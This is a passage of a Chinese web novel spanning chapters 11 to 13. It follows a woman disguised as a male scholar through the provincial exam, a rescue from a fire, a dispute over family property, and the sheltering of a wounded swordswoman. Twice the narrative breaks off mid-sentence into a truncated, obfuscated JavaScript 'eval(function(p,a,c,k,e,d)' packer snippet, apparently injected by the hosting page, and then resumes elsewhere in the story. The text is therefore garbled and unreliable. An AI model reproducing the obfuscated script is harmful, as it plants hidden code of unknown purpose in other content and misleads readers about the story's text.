那些话在她心里藏了很久，今天终于说出来了。 虽然委婉，虽然只是就事论事，但确实是说了。 她关上窗，躺下。 明天还有院试。但今晚，她睡得比往常踏实。 因为知道，自己写的文章，说的话，或许真的能改变点什么。 哪怕只是一点点。 11. 院试 院试设在江州府省城。 谢青梧站在考棚外时，天还没亮透。初秋的晨风带着凉意，她将考篮挎在臂弯，随着人流缓缓向前挪动。不同于县试、府试，院试由学政大人亲自主持，三年两考，过了这一关，才算真正有了“秀才”功名。 “怀瑾兄！” 周子砚从后面追上来，额头上冒着细汗，“方才在客栈找你不见，还以为你先来了。” “子砚。”谢青梧微笑，“昨夜睡得可好？” “哪里睡得好。”周子砚压低声音，“我听人说，这次院试的陈大人，是出了名的古板。你那篇府试文章里提了女子织造，我怕……” “文章既已写了，便不后悔。”谢青梧平静道，“况且陈大人再古板，总要看文章本身是否言之有物。” 周子砚叹了口气，还想说什么，考棚的门开了。 搜检比前两次更严。衙役将考篮里的每块饼都掰开看，笔杆要对着光检查，连砚台底部都摸了一遍。轮到谢青梧时，那衙役多看了她两眼，府试案首的名头，这几日已在省城传开了。 “进去吧。” 考棚内是一排排低矮的号舍，每间仅容一人。谢青梧找到自己的“辰字十七号”，放下考篮，先打量环境。号板有些潮，她取出准备好的油布铺上，又将笔墨纸砚一一摆开。 晨钟敲响，考题发下。 谢青梧展开卷纸，目光落在第一道四书题上：“子曰：惟女子与小人为难养也。”她指尖一顿。 这道题选得刁钻。 若是寻常考生，多半要顺着夫子的话阐发，论述女子为何“难养”。但她不能，不是不愿，而是骨子里那股逆反在翻涌。可若公然反驳，便是离经叛道，别说中秀才，恐怕当场就要被逐出考场。 她闭上眼，深吸一口气。 再睁眼时，目光已恢复清明。不能硬碰硬，便曲笔藏锋。她提笔蘸墨，在草稿纸上写下破题：“夫子言女子难养，非轻女子也，乃叹教化之未周、礼法之待善也。” 将矛头从女子本身，转向了教化与礼法。 正文徐徐展开。她引《诗经》中的贤女，引史书中的才女，最后落笔：“故女子非天生难养，世无善养之法耳。若使女子皆得明理、皆能自立，何难养之有？” 写完这道，手心已沁出薄汗。 第二道是策论，题目更让她心头一震：“论星火燎原”。 这题目看似简单，却暗藏玄机。谢青梧盯着那四个字，忽然想起离府城前，林疏影红着眼睛说的那句话：“谢公子，您就像一点火星子……可我们这些女子，连做柴薪的资格都没有。” 她提起笔。 这一次，她没再掩饰。 “星火之微，可耀暗室；燎原之势，始于寸芒。”开篇定调，接着笔锋一转，“然世人只见燎原之焰，不见初燃之艰。今有微光数点，或困于疾风，或没于暴雨，何以成势？曰：不独燃，薪柴相续也。” 她写市井中识字的妇人教邻居孩童认字，写江南织坊里女工自发互帮，写那些微小如尘、却实实在在发生着的联结。 “故欲星火燎原，非独火星之烈，更在薪柴之众、风势之顺。今有微光已现，当护之、助之、广之，使点点相连，终成……” 最后一个字还没落下，外头突然响起惊呼。 “走水了！” 谢青梧猛地抬头，只见东侧号舍方向冒起浓烟。考棚顿时乱作一团，有考生惊慌失措往外跑，衙役厉声喝止，却压不住恐慌蔓延。 她迅速收好试卷，塞进考篮，正要起身查看，却听见烟里传来孩子的哭声。 ——是那个跟着父亲来应试的少年！她记得那孩子不过十二三岁，坐在“寅字三号”。 来不及多想，她撕下内袍一角，从水囊里倒水浸湿，捂住口鼻就朝浓烟处冲去。 “怀瑾！”周子砚在身后喊。 烟雾越来越浓。谢青梧眯着眼，勉强辨认方向。寅字号舍就在前面，火是从隔壁烧起来的，木制的隔板噼啪作响，那孩子蜷在号舍角落，吓得不会动了。 “出来！”她伸手去拉。 孩子浑身发抖，被她硬拽出来时，一根烧断的横梁正砸在刚才的位置。 谢青梧护着孩子往外退，湿布捂在两人脸上。刚退到安全处，救火的水龙队就冲了进来。场面混乱不堪，学政陈大人在外面气得脸色铁青。 火势很快被控制住，只烧了两间号舍。但那孩子受了惊吓，一直哭，他父亲赶过来，对着谢青梧就要跪。 “不必。”她扶住对方，声音被烟熏得有些哑，“快带孩子去看大夫。” 这场意外打断了考试。所有考生被暂时疏散到明伦堂，学政沉着脸去查起火原因。谢青梧坐在廊下，周子砚递过来一杯水。 “你真是……”周子砚摇头，“万一出事怎么办？” “总不能看着。”她接过水喝了一口，喉咙火辣辣的疼。 半个时辰后，学政回来了，宣布考试继续。但起火的那排号舍不能用了，相关考生被分配到其他空位。谢青梧回到自己号舍时，发现试卷已被妥善收好，连砚台里的墨都没洒。 她顿了顿，抬眼看向远处，陈大人正背着手巡视，目光扫过她时，微微停顿了一瞬。 考试在午后结束。 谢青梧交卷时，手还有些抖，不是怕，是那股劲儿松下来后的虚脱。走出考棚，秋阳正好，她眯了眯眼，却见一道熟悉的身影立在柏树下。 顾临渊。 他今日穿了身竹青直裰，比上次见面少了些凌厉，多了几分书卷气。见她出来，他主动走上前。 “谢公子。”顾临渊拱手，“方才火起时，我就在隔壁考区。” 谢青梧回礼：“顾公子也来应试？” “家父要求，来走个过场。”顾临渊说得随意，目光却落在她袖口的焦痕上，“你冲进去救人时，很多人都看见了。” 这话听不出褒贬。谢青梧只淡淡道：“碰巧离得近。” 顾临渊沉默片刻，忽然转了话题：“林疏影家的案子，有进展了。” 谢青梧抬眼。 “府衙昨日开审，她那位族叔拿出的遗嘱是伪造的。”顾临渊声音压低，“笔迹不对，印章也是私刻的。只是对方咬死不认，说林姑娘一介女流，不懂经营，家产交给她迟早败光。” “然后？” “然后林姑娘当堂拿出近三年的账本。”顾临渊眼里闪过一抹奇异的光，“一笔一笔，清清楚楚。还说出三家铺子未来半年的经营打算，连可能遇到的风险和应对之法都列好了，主审的刘推官都听愣了。” 谢青梧唇角微扬。那几日她与林疏影长谈，教的就是这些：女子守业，光哭诉委屈没用，得拿出实打实的能力。 “案子判了？”她问。 “判了。家产归还林疏影，族叔杖三十，罚银五百两。”顾临渊看着她，“刘推官还当堂说了句话，‘女子若皆如林氏，何愁家业不兴？’” 这话从一个五品推官嘴里说出来，分量不轻。 谢青梧点点头：“多谢顾公子告知。” “不是我告知。”顾临渊忽然道，“是刘推官让我带话给你，他说，你那日在宴会上说的话，他回去想了许久。” 谢青梧一怔。 顾临渊的目光在她脸上停留片刻，像在探究什么，最后却只是笑笑：“谢怀瑾，你这个人……很有意思。” 他说完便走了，留下谢青梧站在原处。 周子砚凑过来，小声问：“顾临渊跟你说什么了？他刚才那语气，怪怪的。” “没什么。”谢青梧收回目光，“只是突然觉得，有些话说了，或许真有人会听进去。” 三日后放榜。 谢青梧没去挤，在客栈等消息。周子砚一早就跑出去了，晌午时分，外头锣鼓声由远及近，一路敲到客栈门口。 “中了！谢公子中了！” 周子砚冲进来，脸涨得通红，“案首！又是案首！小三元！” 客栈里顿时哗然。不少考生围过来道贺，谢青梧一一还礼，神色却平静。只有她自己知道，袖中的手在微微发颤。 连中三元，县、府、院三试皆第一。这在江州府已是多少年未有的事。 然而道贺声里，也夹杂着低语。 “听说他那篇‘星火燎原’，写得颇为激进……” “学政陈大人竟点了案首？” “你不知？那日考场起火，他冲进去救了个孩子。陈大人最重德行，许是因此加了分。” 正说着，客栈外又来了人。这次是官差打扮，为首的是个面生的文书。 “哪位是谢怀瑾谢公子？” 谢青梧上前：“在下便是。” 文书递上一封帖子：“学政陈大人明日午时在望江楼设宴，宴请本届前十名学子，请谢公子务必到场。” 帖子是暗纹绢面，字迹工整。谢青梧接过，心头却微微一沉，这宴，恐怕不只是庆贺那么简单。 送走官差，周子砚凑过来看帖子，喜道：“陈大人亲自设宴，这是看重你啊！” 谢青梧却摇头：“子砚，你记不记得陈大人出那道‘惟女子与小人为难养也’的考题？” 周子砚一愣。 “他选这题，必是想看学子如何作答。”谢青梧轻声道，“我虽曲笔写了，但细读之下，仍是离经叛道。他点我为案首，又设宴相请……” 恐怕是要亲自探她的底。 当夜，谢青梧坐在灯下，将那篇“星火燎原”的草稿又看了一遍。字字句句，都是她想说的话——或许太直白了。 她提起笔，想改几个字，最终却放下了。 窗外月色正好，远处隐约有丝竹声飘来，大约是哪个秦楼楚馆在宴客。她忽然想起那日茶棚里，一个女子弹的那曲《折杨柳》。 那个女子说：“公子这双眼睛，看得太透了。” 或许是吧。 但她既已走到这一步，便没有回头路。明日之宴，是试探，也是机会。 她吹熄灯，和衣躺下。黑暗中，手指无意识抚过束胸的布带，这东西已成了她身体的一部分，有时候连她自己都恍惚，究竟哪个才是真正的谢青梧。 次日赴宴前，林疏影来了。 她穿着素色衣裙，发间只簪了朵白玉兰，身后跟着个丫鬟，手里捧着个锦盒。 “怀瑾公子。”林疏影郑重一礼，“案子结了，家产已拿回大半。这份恩情，疏影铭记于心。” 谢青梧扶她起来：“林姑娘不必如此。” 林疏影打开锦盒，里面是几张银票和一本账册：“这些银子，是我的一点心意。账册上是我名下三间铺子的干股，公子若看得上，每年可分红利。” 谢青梧推辞不受。 林疏影却坚持：“公子别误会，这不是报恩。”她抬眼，目光清亮，“那日您说，女子若想站稳脚跟，需有钱、有人、有路。钱我能挣，人我在寻，可这条路，我想跟着公子走。” 谢青梧一怔。 “我知道公子志不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天道酬勤，酬能，酬善。”谢青梧声音清晰，“女子若能织锦缎、能理账目、能育英才，便是对家国有功。有功者当得善待，此方为顺天应人。” 陈学政捻须不语。 良久，他才缓缓道：“你可知此言一出，会招来多少非议？” “学生知道。”谢青梧垂眸，“但若人人皆因怕非议而不敢言，世道便永不会变。” 陈学政盯着她看了许久，忽然笑了：“好一个‘永不会变’。”他举杯，“今日宴饮，只论文章，不论其他。来，满饮此杯。” 宴席后半段，气氛松快了些。陈学政再没提敏感话题，只与学子们谈诗论赋。散席时，他却独独留下谢青梧。 “怀瑾，随我来。” 两人登上望江楼顶层。凭栏远眺，江水滔滔，远处帆影点点。 “今日留你，是有句话要交代。”陈学政背对着她，声音随江风飘来，“你很有才，也有胆识。但木秀于林，风必摧之。” 谢青梧躬身：“学生谨记。” “记不够，得做。”陈学政转身，目光如炬，“你既写了‘星火燎原’，便该知道，星火若要成势，需先保住自身。过早燃尽，不过一缕青烟。” 这话说得重。谢青梧心头凛然：“学生明白。” “明白就好。”陈学政语气缓和下来，“你既连中三元，按例可入府学深造。明年秋闱，若再中举，便可进京赴会试。这条路……很长。” 他说完，挥挥手：“去吧。” 谢青梧深施一礼，转身下楼。走到楼梯拐角时，听见陈学政低声自语，随江风飘来半句： “……这世道，或许真该变变了。” 她脚步微顿，没有回头。 走出望江楼时，夕阳正沉。江面被染成金红，渡口归舟往来，渔歌隐约。 周子砚在楼下等她，见她出来，忙迎上来：“陈大人没为难你吧？” “没有。”谢青梧摇头，“只是提点了几句。” 两人沿着江堤慢慢走。周子砚说起明日回程的安排，谢青梧静静听着，目光却落在江边洗衣的妇人身上，她们蹲在石板上，抡着棒槌，一下一下，捶打着浸透的衣物。 “子砚。”她忽然开口，“你说这些妇人里，可有识字的？” 周子砚一愣：“这……怕是没有吧。” “若她们识字，会不会也能写出‘星火燎原’那样的文章？” 周子砚答不上来。 谢青梧却笑了笑，不再追问。有些问题，本就不需要答案。 回到客栈，她推开窗。夜幕初降，远处灯火渐次亮起，像散落的星子。 桌上放着林疏影送的账册，还有陈学政宴请的帖子。这两样东西摆在一起，莫名有种象征意味，一条是实实在在的路，一条是云遮雾罩的前程。 她提起笔，在纸上写下一行字： 星火已燃，当护之，广之。 墨迹未干，窗外忽然飘进一片梧桐叶，正落在纸上。 谢青梧拾起叶子，对着灯光看。叶脉清晰，像掌纹，也像某种未画完的地图。 她将叶子夹进书页，吹熄了灯。 黑暗中，远处更鼓声隐约传来。三更了。 明日便要启程回乡，而后是更远的京城。这条路的确很长，但—— 她闭上眼，耳边又响起林疏影那句“我们一起走”，还有陈学政那声叹息。 或许，她从来都不是一个人。 12. 荣归 谢青梧回县城那日，正是重阳。 秋阳暖融融地照在青石板路上，车马刚进城门，就听见噼里啪啦的爆竹声。周子砚探头往外看，惊道：“这……这都是来迎你的？” 街两旁聚了不少人，有县学的同窗，有街坊邻居，甚至还有几个面生的商户。打头的是李庸，一身簇新绸衫，笑得见牙不见眼。 “怀瑾啊！”李庸快步迎上来，“你可给咱们县挣了大脸面！小三元，江州府多少年没出过了！” 谢青梧下车行礼：“山长。” “别客气别客气。”李庸扶住她，声音激动得发颤，“陈大人派人送了喜报来，知县大人亲自接的。你猜怎么着？县里要给你立碑！” 立碑？谢青梧眉头微蹙。 “就在县学门口，刻‘连中三元’四个大字。”李庸说得眉飞色舞，“往后咱们县学的学子，都得先拜你的碑再进门！” 这话听着别扭。周子砚在一旁轻咳一声：“山长，怀瑾兄一路劳顿，不如先让他回家歇息？” “对对对，是该回家。”李庸这才让开路，却又压低声音，“怀瑾，你父亲前几日来找过我，说是……要给你说亲。” 谢青梧脚步一顿。 “县里张员外家的千金，年方十五，模样性情都好。”李庸搓着手，“你如今有功名在身，也该考虑成家立业了。” 秋风忽然有些凉。谢青梧垂眸：“多谢山长好意，只是学生志在科举，暂无成家之念。” “这怎么行！”李庸急了，“你父亲说了，成了亲才好安心读书，家里也有人照顾……” “山长。”谢青梧抬眼，声音平静，“学生想先回家。” 她行礼告辞，转身时袖中的手微微收紧。周子砚追上来，欲言又止。 “子砚，你先回吧。”谢青梧道，“家里的事，我自己处理。” 周家马车驶远了。谢青梧站在街口，看着自家那扇熟悉的黑漆木门——门前也挂了红绸，却透着一股刻意。 推门进去，院子里站满了人。 谢父坐在上首，嫡母王氏陪在一旁，嫡兄谢明远抱着手臂靠在廊柱上，嘴角噙着似笑非笑的弧度。还有几个族里的叔伯，都是平日不太走动的关系。 “怀瑾回来了。”谢父开口，语气是少有的温和，“快过来。” 谢青梧上前行礼：“父亲，母亲。” 王氏脸上堆着笑，眼里却没什么温度：“这孩子，瘦了。在外头吃苦了吧？” “还好。”谢青梧应得简短。 谢明远这时走过来，拍了拍她的肩：“二弟如今可是名动江州了。连陈大人都亲自设宴，这面子，咱们谢家祖上都没挣来过。” 他手劲不小，拍得谢青梧肩胛生疼。她不动声色地侧身避开：“兄长过誉。” “不过誉不过誉。”谢父难得地笑出声，“青梧啊，你这次给家里长了脸。为父想了想，你既有了功名，就不能再住西厢那小屋子了。东院那间书房给你腾出来，往后专心读书。” 这话一出，几个族叔纷纷附和。 “还是二哥想得周到。” “怀瑾这孩子有出息，是该好好栽培。” “说不定明年秋闱再中个举人，咱们谢家就真兴旺了。” 一片称赞声里，谢青梧却听得心头发冷。她太了解这个家了，突如其来的优待，背后必有图谋。 果然，寒暄过后，谢父清了清嗓子：“青梧，你如今是秀才，按例可免五十亩田赋。咱们家在城郊有八十亩地，正好……” “父亲。”谢青梧打断他，“免赋的田亩，需登记在本人名下。” 堂屋里静了一瞬。 谢父脸色微僵：“你这话什么意思？家里的地，登记在谁名下不都一样？” “不一样。”谢青梧声音很轻，却清晰，“律法有定：功名所免赋税，只限本人及直系亲属田产。若登记在家产总册，免赋数额需按房头均分。” 她顿了顿：“咱们家三房，大伯、父亲、三叔。若八十亩全记在家产册上，免赋的五十亩，需分三份。而若记在我个人名下……” “胡闹！”一个族叔拍案而起，“哪有分家单过的道理！你才多大？” 谢明远也冷笑：“二弟这是翅膀硬了，想飞？” 王氏在一旁抹泪：“怀瑾，你父亲养你这么大，容易吗？如今刚有点出息，就要撇开家里……” 一时间，指责声、劝诫声、叹息声混作一团。 谢青梧静静站着，等他们说完，才开口：“父亲误会了。儿子并非要分家，只是想着，若田产记在我名下，免赋额度全用上，每年能省下二十两税银。这银子，可以贴补家用。” 二十两。谢父眼神动了动。 “况且，”谢青梧继续说，“明年秋闱，儿子要去省城乡试。若中了举，免赋额可达两百亩。到时家里再添置田产，都能省下税银。” 这话像块石头扔进池塘，激起层层涟漪。 两百亩的免赋额！几个族叔眼睛都亮了。谢父捻着胡须，沉吟不语。 谢明远却嗤笑：“你说中举就中举？真当科举是儿戏？” “兄长说得是。”谢青梧垂眸，“所以儿子才想专心读书。东院书房虽好，但离街市近，难免嘈杂。儿子想……搬出去住。” “什么？”王氏尖声。 “母亲别急。”谢青梧语气温和，“儿子不是要远走。就在城西租个小院，清净，也方便去县学。每月束脩、开销，儿子自己承担。” 她抬眼，看向谢父：“只是租院、备考都需要银钱。儿子想，可否将未来三年该分给我的那份家产……提前支取？” 堂屋里彻底安静了。 谢家不是什么大户，田产铺子加起来，三房均分，每房一年也就五六十两进项。谢青梧作为庶子，能分到的本就少得可怜——按惯例，成家前每月二两月例，成家后分家，再得二三十两安家费。 她现在要的，是提前把这笔钱拿走。 “你要多少？”谢父沉声问。 “一百两。” “一百两？！”王氏尖叫，“你当家里开银铺的？” 谢青梧不答，只看着谢父。 她在赌。赌谢父算得清这笔账，一个秀才每年省二十两税银，一个举人省上百两。更重要的，是谢家从此有了官身庇护，做生意、置田产都有便利。 这一百两，是投资。 果然，谢父沉默了许久，缓缓道：“你要立字据。” “自然。”谢青梧道，“儿子可以立契：支取一百两后，三年内若中举，免赋额优先用于家中田产；若不中……这笔钱算儿子借的，三年后连本带利归还。” 条件开得公道。几个族叔互相看看，都点了头。 谢明远还想说什么，被谢父一个眼神制止。 “好。”谢父起身，“明日请族长和县学李先生作证，立契。” 尘埃落定。 谢青梧退出堂屋时，夕阳正斜。她穿过院子，西厢那间小屋门开着，里面还是离时的模样，一床一桌一柜，简陋得像个客房。 她没进去，转身去了祠堂。 谢家祠堂不大，供着三代祖先的牌位。香烟袅袅，她跪在蒲团上，看着最下面那个空位——那是留给她生母的。一个妾室，生前没资格进祠堂，死后也只能在角落设个香案。 “母亲。”她轻声说，“我要走了。” 香火明明灭灭，无人应答。 夜里，谢青梧收拾行囊。其实没什么可收拾的，几件衣裳，几本书，一方砚台。她把那本夹着梧桐叶的书册仔细包好，放进最底层。 窗棂忽然轻响。 她警觉地回头，却见周子砚猫着腰翻进来，手里提着个食盒。 “你怎么……”谢青梧失笑。 “翻墙进来的。”周子砚抹了把汗，压低声音，“你家里那阵势，我走正门肯定被拦。”他打开食盒，里头是热腾腾的桂花糕和鸡汤，“我娘让送的，说你回来肯定吃不上口热饭。” 谢青梧心头一暖。 两人在窗边坐下，就着月光吃糕。周子砚啃了两口，忽然问：“你真要搬出去？” “嗯。” “那一百两……你真有把握？” 谢青梧笑了笑，从怀里掏出个小荷包，倒出几张银票：“林疏影给的铺子红利，加上府试、院试的赏银，我手里有六十两。租个小院，一年不过十两，剩下的足够用到明年秋闱。” 周子砚瞪大眼：“你早算好了？” “不算好，怎么敢开口。”谢青梧抿了口鸡汤，“我那位父亲，最重实利。给他画张大饼，再拿出真金白银，他才肯放人。” “可万一秋闱不中……” “那就真得还钱了。”谢青梧语气轻松，“不过子砚，你觉得我会不中吗？” 月光下，她眼里有光。周子砚看了她一会儿，忽然也笑了：“不会。你肯定中。” 两人又说了会儿话，周子砚才翻墙离开。谢青梧关好窗，躺回床上，却睡不着。 明日立契，后日找房，大后日就能搬出去。一切顺利得有些不真实。 她翻了个身，手指无意间碰到束胸的布带——这东西，终于可以在自己的小院里放心解开了。 第二日立契，族长和李庸都来了。 契书写得明白：谢青梧支取一百两，三年内若中举，免赋额归家族使用；若不中，三年后归还一百二十两。此外，谢青梧搬出独住，家中不得干涉其读书、交往、前程。 谢父签字画押时，手有些抖。谢青梧接过笔，字迹工整平稳。 银票交接，一张五十两，两张二十两， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢青梧急忙扶住，入手一片湿热，血已经浸透衣袖。她将人半扶半抱弄进屋，放在床上，剪开衣袖一看，倒抽一口凉气。 刀伤，从肩头划到肘弯，皮肉外翻。看伤口颜色，已有一天以上，边缘开始红肿。 她定定神，翻出金疮药—，又打来清水，一点一点清洗伤口。 慕容芷在昏迷中蹙眉，却没醒。 上药，包扎，换下血衣。等忙完这些，天已经黑透。谢青梧坐在床边，借着油灯打量这个不速之客。 手指有茧，虎口尤其厚，是常年握刀剑的手。呼吸平稳后，能看出身怀武功。这样一个女子，怎么会受这么重的伤？林疏影又为什么让她来？ 太多疑问。但此刻，救人要紧。 谢青梧熬了粥，一勺勺喂下去。半夜时分，慕容芷终于醒了。 她睁眼的瞬间，眼神锐利如刀，下意识去摸腰间——空的。 “你的刀在桌上。”谢青梧坐在床边，手里端着药碗，“放心，我没动。” 慕容芷盯着她看了几秒，这才松懈下来：“谢公子？” “是我。”谢青梧把药递过去，“先把药喝了。” 慕容芷接过碗，一饮而尽，眉头都没皱一下。喝完药，她挣扎着要起身行礼，被谢青梧按住。 “躺着吧。”谢青梧问，“林姑娘让你来的？” “是。”慕容芷声音沙哑，“我欠林姑娘一条命。她说您身边需要个可靠的人，我就来了。” “你这伤……” “仇家追杀的。”慕容芷说得干脆，“不过公子放心，尾巴已经清理干净，不会连累您。” 谢青梧沉默片刻：“你会什么？” “武功尚可，能护您周全。识字，会算账，能驾车马。”慕容芷顿了顿，“只要您收留，我这条命就是您的。” 话说得决绝。谢青梧看着她苍白的脸，忽然想起那日考场大火里，自己冲进去救人的心情。 “先养伤。”她起身，“伤好了再说。” “公子！”慕容芷急声道，“您若不放心，我可以立死契……” “不用。”谢青梧回头，“我这里不兴这个。你伤好之后，若还想留下，咱们再谈工钱和去留。” 她吹熄油灯，掩门出去。 院子里月光如水。谢青梧站在槐树下，抬头看天，明天该是个好天气。 屋里传来压抑的咳嗽声，很快又静下去。 谢青梧想起契书上那行字：“不得干涉其读书、交往、前程。” 现在，她有了自己的院子，有了独立的户籍，马上还会有一个护卫。 13. 赴京路 慕容芷的伤好得很快。 不过七八日，那道狰狞的刀口就结了痂。她坚持要干活，谢青梧拗不过，便让她做些轻省事，打扫院子，煮饭烧水。两人话都不多，但莫名有种默契。 这日清早，谢青梧在院中读书，慕容芷在井边洗衣。水声哗哗，伴着翻书声，竟有几分岁月静好的味道。 “公子。”慕容芷忽然开口，手里搓着衣裳，眼睛却没抬，“林姑娘让我带句话。” “什么话？” “她说，京城的铺子已经看好了，等您去。” 谢青梧放下书册。林疏影动作比她想的快，这才多久，连京城的路都铺上了。 “她还说了什么？” 慕容芷顿了顿：“她说，京城不比江州，水浑，鱼多，让您小心。” 这话里有话。谢青梧正要细问，院门被敲响了。 来的是周子砚，一脸急色，额头上都是汗。 “谢兄，出事了。”他喘着气，“你听说了吗？县学要推举明年进京赶考的学子，名单里……没有你。” 谢青梧一怔。 县学每年都会推举几名优秀学子，由县里资助路费进京。虽说她自己不缺银子，但这推举本身是一种认可，也是将来会试时的一个资历。 “为什么？”她问。 周子砚压低声：“我爹打听来的。说是有人递了话，说你年纪太轻，又是小三元，该再磨炼几年。还说你文章里……思想不够端正。” 思想不够端正。谢青梧笑了。 这话说得含蓄，意思却明白——她那篇“星火燎原”，终究还是被人记下了。 “谁递的话？” “说是府城那边传来的。”周子砚急道，“我爹让我告诉你，早做打算。若县学不推举，你要进京，就得自己找保人，办手续也麻烦些。” 谢青梧点点头：“多谢周伯父。我知道了。” 周子砚看着她平静的脸，更急了：“你就这个反应？这可是有人故意压你！” “我知道。”谢青梧起身，走到槐树下，“子砚，你觉得是谁在压我？” “还能有谁？肯定是……”周子砚话到嘴边，又咽回去。 谢青梧替他说了：“是我那位嫡兄，谢明远。” 周子砚不吭声了。 谢明远在府城读书，虽没考出什么功名，但结交了不少人。他要递句话给县学，不是什么难事。 “他为什么要这么做？”周子砚不解，“你中了秀才，家里不是也跟着沾光吗？” “光沾了，怕我飞太高。”谢青梧淡淡道，“他压我这一次，若我真去不成京城，或者去了考不中，那就还是谢家那个庶子。若我硬要去，自己想办法，他也能看我笑话。” 周子砚气得跺脚：“这也太……” “无妨。”谢青梧看向慕容芷，“阿芷，你去西街刘记车马行，问一问包车去京城要多少银子。” 慕容芷应声去了，背影利落。 周子砚看着她走远，这才低声问：“这姑娘什么来历？看着不像普通人家出来的。” “林疏影荐来的，会武功。”谢青梧简短道，“我正缺个护院。” 周子砚还想再问，院门又被敲响。 这次来的人，让两人都愣了愣。 顾临渊站在门外，一身月白锦袍，手里拿着马鞭，风尘仆仆的样子。他身后还跟着个小厮，牵着两匹马。 “谢公子，周公子。”他颔首，“冒昧来访。” 谢青梧回过神，将人请进来。 顾临渊进院，目光在院子里扫了一圈，最后落在慕容芷刚才洗衣的木盆--盆边搭着件粗布外衫，袖口有血迹没洗干净。 他眉头几不可察地皱了皱，却没问。 “顾公子怎么来了？”谢青梧请他坐下。 “路过。”顾临渊接过她递的茶，抿了一口，“家父让我去江南办点事，回程路过江州，想起你在这，便来瞧瞧。” 这话说得轻巧，但江州和江南可不顺路。谢青梧心里明白，也不戳破。 周子砚很有眼色地起身告辞。院子里只剩下两人。 “听说你搬出来了？”顾临渊问。 “是。清净些。” “也好。”顾临渊放下茶杯，“你那篇‘星火燎原’，陈学政回京后提过几次。” 谢青梧抬眸：“陈大人怎么说？” “他说……”顾临渊看着她，“你这把火，烧得太早了。” 意料之中的评价。谢青梧笑了笑：“那顾公子觉得呢？” 顾临渊沉默片刻：“我觉得，火既然点了，就该让它烧下去。只是要小心风向，别燎了自己。” 这话说得坦诚。谢青梧有些意外。 “你不觉得我离经叛道？”她问。 “离经叛道的人，我见过不少。”顾临渊语气平静，“但大多是为了标新立异，或者心怀怨愤。你不一样。” 他顿了顿：“你是真的觉得，这世道该变一变。” 秋风过院，槐叶簌簌落下。谢青梧看着这个世家公子，忽然觉得，自己或许一直小看了他。 “顾公子此来，不只是为了说这些吧？”她问。 顾临渊从袖中取出一封信，递过来：“陈大人让我捎给你的。” 谢青梧拆开信，里面只有一句话：“京中已备，静待。” 她指尖微颤。 “陈大人明年调任礼部，主管会试。”顾临渊缓缓道，“他让我告诉你，若真有心，明年秋闱后直接进京。保人、手续，他替你办。” 这是天大的机会，也是天大的风险。 陈学政这是明摆着要当她的靠山。可这样一来，她也就打上了“陈派”的烙印，将来朝堂上难免牵扯。 “为什么要帮我？”谢青梧抬眼。 顾临渊看着她，忽然笑了：“谢怀瑾，你是不是总觉得，这世上没人会无缘无故对你好？” 谢青梧不语。 “我帮你，是因为觉得你值得。”顾临渊起身，走到槐树下，“我生在顾家，从小见的都是算计、权衡、利益交换。我父亲教我的第一课就是：这世上没有无缘无故的好，只有等价交换。” 他转过身，目光清亮：“但你不一样。你救人，写文章，甚至替那个林疏影出头，都不是为了换什么。你是真的……相信一些东西。” 相信女子也能立起来，相信微弱的星火终能燎原，相信这世道可以变好。 “我相信，是因为见过。”谢青梧轻声道。 见过她生母在深宅里枯萎，见过街坊妇人被丈夫打得遍体鳞伤却无处可去，见过林疏影差点被族人生吞活剥。 “所以我想试试。”她说，“试试能不能让这些事，少一些。” 顾临渊看了她许久，最后点点头：“那就试吧。陈大人那边，我替你应下了。” “顾公子……” “叫我临渊。”他打断她，“既然要一起走这条路，就别公子来公子去的，生分。” 谢青梧从善如流：“临渊兄。” 顾临渊笑了，这次是真心的笑：“这还差不多。”他从怀里掏出个小木盒，“这个给你。” 谢青梧打开，里面是一枚印章。青玉雕成，刻着“怀瑾”二字，边上有小小的火纹。 “我自己刻的。”顾临渊有点不自在，“手艺一般，你将就用。” 岂止是一般，这章子刻得其实很精致。谢青梧握在手里，温润沁凉。 “多谢。” “别谢太早。”顾临渊正色道，“京中情况，我得跟你说说。” 他坐下来，细细讲了京城如今的局势：皇帝年迈，几位皇子明争暗斗；朝中分了好几派，陈学政属于清流一系，不站队，但也因此被各方拉拢。 “你以陈大人门生的身份进京，难免被贴上标签。”顾临渊道，“但好处是，清流一系最重名声，只要你文章够好，品行端正，他们就会护着你。” 谢青梧认真听着，心里快速盘算。 “还有，”顾临渊压低声音，“锦衣卫最近在查江南的案子，可能会牵连到一些人。你进京路上，尽量低调。” 锦衣卫。谢青梧心头一跳，面上却不动声色：“我知道了。” 送走顾临渊，已是傍晚。 慕容芷回来了，说包车去京城要三十两，走官道的话，得走一个多月。 “太慢。”谢青梧摇头，“我们走水路，到扬州换船，直抵京城。虽然贵些，但快。” 慕容芷点头：“那我明天去问船。” “不急。”谢青梧看着她，“阿芷，你伤好了，有些话该说了。” 慕容芷神色一凛。 两人进了屋，关上门。油灯跳动着，在墙上投下摇曳的影子。 “你的仇家，是什么人？”谢青梧问。 慕容芷沉默许久，才开口：“锦衣卫。” 谢青梧指尖一颤。 “我父亲曾是北镇抚司的百户。”慕容芷声音很平，像在说别人的事，“三年前，他查一桩私盐案，查到了某位大人头上。后来……他就‘暴病身亡’了。” 她顿了顿：“我那时在外祖家学武，逃过一劫。这些年东躲西藏，直到上月，被他们的人找到。” “林姑娘怎么救的你？” “我逃到江州时，伤重晕在路边，是林姑娘的车夫发现了我。”慕容芷抬眼，“公子若觉得我是麻烦，我现在就走，绝不连累您。” 谢青梧没说话，手指轻轻敲着桌面。 锦衣卫的追杀，这不是小事。收留慕容芷，就等于和锦衣卫结了梁子。可若赶她走…… “你会被找到吗？”她问。 “暂时不会。”慕容芷道，“我甩掉了尾巴，又换了身份。林姑娘帮我弄了新的路引，用的是她远房表妹的名字。” “叫什么？” “慕容止。止步的止。” 谢青梧笑了：“这名字好。到此为止。” 她起身，走到窗边。夜色已浓，远处有狗吠声。 